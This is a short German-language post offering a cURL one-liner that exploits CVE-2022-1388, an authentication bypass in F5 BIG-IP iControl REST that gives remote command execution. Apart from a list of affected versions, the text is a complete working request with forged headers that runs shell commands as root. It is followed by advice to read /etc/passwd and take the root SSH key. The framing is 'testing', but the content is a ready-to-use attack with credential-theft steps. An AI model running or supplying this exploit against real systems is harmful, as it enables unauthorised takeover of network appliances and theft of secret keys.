
cURL-Einzeiler zum Testen auf CVE-2022-1388 BIG-IP iControl REST RCE
Auf F5 BIG-IP 16.1.x Versionen vor 16.1.2.2, 15.1.x Versionen vor 15.1.5.1, 14.1.x Versionen vor 14.1.4.6, 13.1.x Versionen vor 13.1.5, und allen 12.1.x und 11.6.x Versionen können unveröffentlichte Anfragen die iControl REST-Authentifizierung umgehen.
Verwenden Sie den folgenden cURL-One-Liner, um auf diese Schwachstelle zu testen.
curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
Das Authorization-Feld kann ein beliebiger base64-codierter Wert sein. Das obige Beispiel verwendet admin:admin. Diese müssen KEINE gültigen Anmeldeinformationen sein; wenn der Server anfällig ist, funktioniert jeder base64-codierte Wert.
Wenn der obige Befehl die ID zurückgibt, können Sie verschiedene Dinge versuchen, z. B. /etc/passwd mit cat /etc/passwd lesen oder versuchen, das root-SSH-Zertifikat mit cat /root/.ssh/identity abzugreifen.